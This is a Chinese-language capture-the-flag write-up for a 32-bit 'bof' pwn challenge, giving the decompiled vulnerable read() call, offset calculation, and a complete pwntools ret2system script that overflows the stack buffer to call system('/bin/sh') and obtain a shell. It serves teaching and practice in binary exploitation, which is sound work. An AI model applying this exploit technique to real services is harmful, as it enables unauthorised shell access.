oj pwn-bof

bof

之前做过这道题,但是没做出来,对于pwn类型的题目还不太熟悉,现在对pwn题有了新的认识和知识,再重新解一下这道题目。

题目描述

题目给了一个文件,在Ubuntu里的命令行里用file,查看一下文件类型,是ELF类型,32位。

题目分析

  1. 用IDA32位打开文件,反汇编到C代码,可见下边代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ssize_t sub_8048573()
    {
    char buf; // [sp+Ch] [bp-1Ch]@1

    sub_804851B();
    sub_804854A();
    puts("can you pwn me?");
    return read(0, &buf, 0x100u);
    }

根据read函数和buf可以知道,产生了栈溢出。

  1. 查看保护机制

    开启了NX保护。
  2. 计算要覆盖的位数
    ‘a’*0x1c+’a’*4=32
  3. 查看程序中是否有’/bin/sh’

    存在。
  4. 查找一下system是否存在,在ida中查找

    也存在
  5. 于是部署栈中的内容
    payload = flat(['a'*32,system_plt,'b'*4,binsh_addr])
    代码如下:
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
from pwn import *
#r=remote('pwn1.blue-whale.me',9990)
r=process('./pwn')
binsh_addr = 0x804a02c
system_plt = 0x80483f0
#r.recvuntil('can you pwn me?')
payload = flat(['a'*32,system_plt,'b'*4,binsh_addr])
r.sendline(payload)
r.interactive()
  1. 在Ubuntu里输入命令 python pwn1.py,运行下写的代码,id,获得权限,至此已经成功获得shell。ls获得flag。
文章目录
  1. 1. bof
    1. 1.1. 题目描述
    2. 1.2. 题目分析